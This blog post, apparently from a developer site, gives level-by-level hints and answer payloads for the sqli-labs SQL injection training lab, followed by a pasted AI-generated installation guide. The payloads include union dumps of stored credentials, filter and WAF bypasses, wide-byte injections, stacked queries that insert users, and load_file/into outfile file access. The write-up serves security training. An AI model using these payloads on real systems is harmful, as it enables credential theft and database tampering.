sqli-labs提示和答案(含详细教程)

本文详细介绍了一个名为sqli-labs的平台上的SQL注入挑战,涵盖GET和POST注入、盲注及多种过滤条件下的注入技巧,并提供了特定关卡的解决示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.参考资料部分

具体sqli-labs内容参考
链接1
或者更加全面的
注入天书pdf

2.总结部分

声明:页面显示的图片不总结

第1关到10关为GET注入

前四关登录成功显示用户名,失败报错正常
第1关id=‘1’
第2关id=1
第3关id=(‘1’)
第4关id=(“1”)
第5关和6关登录显示You are in…,失败报错正常
第5关id=‘1’
第6关id=“1”
第7-10关盲注
第7关id=((‘1’))
第8关id=‘1’
第9关id=‘1’
第10关id=“1”

第11关到16关为POST注入

第11关和12关登录成功显示用户名密码,失败报错正常
第11关username=‘admin’
第12关username=(‘admin’)
第13关和14关登录成功不显示,失败报错正常
第13关username=(‘admin’)
第14关username=“admin”
第15关16关盲注
第15关username=‘admin’
第16关username=(‘admin’)

17-22关的过滤

输入字符长度超过15的部分截断
字符串中\x00,\n,\r,\,',",\x1a被转义
纯数字的话被强制转换成整形

第17关username被过滤password=‘1’
第18,19,20,21关username和password都被过滤了
第18关,在http头useragent处注入,前提是成功登录
第19关,在http头Referer处注入,前提是登录成功
第20关,uname='cookie’注入
第21关,uname=(‘cookie’)加密注入
第22关,uname="cookie"加密注入

23关的过滤

-- 和 # 这两个注释符号

第23关id=‘admin’用闭合注入’ or ‘’=’

24关的过滤

\,",'

第24关二次注入

第25/25a关的过滤

and 和 or

第25关id=‘1’
第25a关登录失败不报错
第25a关id=1

第26/26a关的过滤

and,or,--,#,空格、制表符、换页符,/*,//

第26关id=‘1’
第26a关id=(‘1’)

第27关的过滤

--,/*,空格,#,大小写没过滤完全完全的select,union

第27关id=‘1’
第27a关没有报错
第27a关id=“1”

第28关的过滤

--,/*,/,空格,#,大小写完全过滤的union+\s+select

第28关id=(‘1’)
第28a关id=(‘1’) 只过滤union+\s+select组合

第29/30/31关

?id=被WAF过滤的部分&id=payload

第29关id=‘1’
第30关id=“1”
第31关id=(“1”)

第32-37关的过滤

',“,\

思路:宽字节注入

第38-45关

思路:堆叠注入(使用mysqli_multi_query导致的)
mysql基础命令

create table test select * from users;
drop table test;
select load_file('/Users/xjj/Desktop/eval');
insert into users(id,username,password) values('100','new','new');
update test set name='test' where id=3;

第38关id=‘1’
第39关id=1
第40关id=(‘1’)
第41关id=1

第42-45关:
login_user过滤 " / '
login_password='1'

第43关login_password=(‘1’)
第44关login_password=‘1’
第45关login_password=(‘1’)

第46-53关

思路:

order by和limit的注入
order by rand(true)随机排序
order by rand(false)与true不同
rand(),时间盲注,procedure analyse注入
into outfile "/Users/xjj/Desktop/new"

第46关order by $id
第47关order by ‘$id’
第48/49关盲注
第48关order by $id
第49关order by ‘$id’
第50/51关在46关基础上增加堆叠注入
第50关order by $id
第51关order by ‘$id’
第52/53关盲注
第52关order by $id
第53关order by ‘$id’

第54-65关

第54-57关和第1-4关一样但是讲究效率
第54关id=‘1’
第55关id=(1)
第56关id=(‘1’)
第57关id=“1”

第58-61关

union注入没有回显
第58关id=‘1’
第59关id=1
第60关id=(“1”)
第61关id=((‘1’))

第62-65关

盲注,用脚本

常用urlencode

! - %21
" - %22
# - %23
$ - %24
% - %25
& - %26
’ - %27
( - %28
) - %29
* - %2A
+ - %2B
, - %2C
- - %2D
. - %2E
/ - %2F
: - %3A
; - %3B
< - %3C
= - %3D
> - %3E
? - %3F
@ - %40
[ - %5B
\ - %5C
] - %5D
| - %7C
~ 0x7e
: 0x3a
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格

部分关卡的答案

25
?id=’ union select 1,(SELECT GROUP_CONCAT(username,passwoorrd SEPARATOORR 0x3c62723e) FROM users),3 anandd ‘1’=‘1
26关暂时没找到绕过\s正则的方法
27
?id=’%0bunIOn%0bseLEct%0b1,(SEleCT%0bGROUP_CONCAT(username,password%0bSEPARATOR%0b0x3c62723e)%0bFROM%0busers),3%0band%0b’1’=‘1
28
?id=’)%0bunion%0bunion%0bselectselect%0b1,(SELECT%0bGROUP_CONCAT(username,password%0bSEPARATOR%0b0x3c62723e)%0bFROM%0busers),3%0band%0b(‘1
29
id=2&id=’ union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users),3 and ‘1’=‘1
32
?id=-1%df%27%20union%20select%201,user(),2–+
34:burpsuite
uname=%df%27%0bunion%0bselect%0b1,(SELECT%0bGROUP_CONCAT(username,password%0bSEPARATOR%0b0x3c62723e)%0bFROM%0busers)–+#&passwd=1&submit=Submit
35
?id=-1%20union%20select%201,2,3;–+
36
?id=-1%df%27union%20select%201,2,3;±-+#
37:burpsuite
uname=%df’+union+select+1,2;±-+#&passwd=1&submit=Submit
42burpsuite
login_user=admin&login_password=’+or+1=1;insert+into+users(username,password)+values(0x61,0x62);±-+#&mysubmit=Login

<think>好的,我现在需要帮助用户找到关于sqli-labs-master靶场的安装教程。用户的问题中提到他们需要配置指南实验环境设置。首先,我应该回顾一下之前提供的引用内容,看看是否有相关的安装步骤。 根据引用[1],用户需要修改db-creds.inc文件中的数据库凭据,这说明安装过程中涉及到配置数据库连接。引用[2]提到启动Web服务器后访问本地链接,这提示需要配置Web服务器如Apache,并且将sqli-labs-master放置在服务器目录下。引用[3]展示了SQL注入的示例,但可能对安装帮助不大。 接下来,我需要整理出一个步骤清晰的安装流程。首先确保系统环境满足要求,比如安装PHP、MySQLApache。然后下载并解压sqli-labs-master到Web服务器的根目录。接着配置数据库,创建用户数据库,并修改db-creds.inc文件中的用户名密码。最后通过浏览器访问安装页面并初始化数据库。 可能用户遇到的问题包括数据库连接失败或文件权限问题,所以需要在注意事项中提到检查凭据文件权限。此外,常见问题如页面无法访问可能涉及服务器配置,需要确保Apache运行正常,文件位置正确。 用户可能还需要测试环境是否配置成功,比如访问首页查看是否有界面,或者进行简单的注入测试。因此,在回答中应该包这些验证步骤,并提醒用户参考提供的引用链接获取更多使用细节。 最后,生成的相关问题应该围绕安装过程中的潜在问题、环境配置以及基本使用方法,帮助用户进一步解决可能遇到的困难。</think>### sqli-labs-master 靶场安装教程 #### 一、环境准备 1. **安装 Web 服务器** 推荐使用 $Apache$ 或 $Nginx$,需支持 PHP(版本 ≥5.4) MySQL/MariaDB。 **示例命令(Ubuntu)**: ```bash sudo apt install apache2 php mysql-server php-mysql ``` 2. **下载 sqli-labs-master** 从 GitHub 下载源码并解压到 Web 根目录(如 `/var/www/html/`): ```bash wget https://github.com/Audi-1/sqli-labs/archive/refs/heads/master.zip unzip master.zip -d /var/www/html/ ``` --- #### 二、数据库配置 1. **创建数据库与用户** ```sql CREATE DATABASE sqli_labs; CREATE USER 'sqlilab'@'localhost' IDENTIFIED BY 'password'; GRANT ALL PRIVILEGES ON sqli_labs.* TO 'sqlilab'@'localhost'; FLUSH PRIVILEGES; ``` 2. **修改数据库凭据** 打开文件 `sqli-labs-master/sql-connections/db-creds.inc`,更新以下参数[^1]: ```php <?php $host = 'localhost'; $dbuser = 'sqlilab'; $dbpass = 'password'; $dbname = 'sqli_labs'; ?> ``` --- #### 三、初始化靶场 1. **访问安装页面** 浏览器输入 `http://localhost/sqli-labs-master`,点击 **Setup/reset Database for labs** 初始化数据库[^2]。 2. **验证安装** 若页面显示 *Congratulations!*,则表示环境配置成功。 --- #### 四、注意事项 - 若遇到数据库连接错误,检查 `db-creds.inc` 文件权限与内容[^1]。 - 确保 PHP 的 `mysqli` 扩展已启用。 - 文件路径需与 Web 服务器配置匹配(如 Apache 的 `DocumentRoot`)。 --- #### 常见问题 1. **页面无法访问** 检查 Apache 是否运行,且 `sqli-labs-master` 文件夹位于 Web 根目录。 2. **初始化失败** 确认 MySQL 服务已启动,且用户权限正确[^1]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值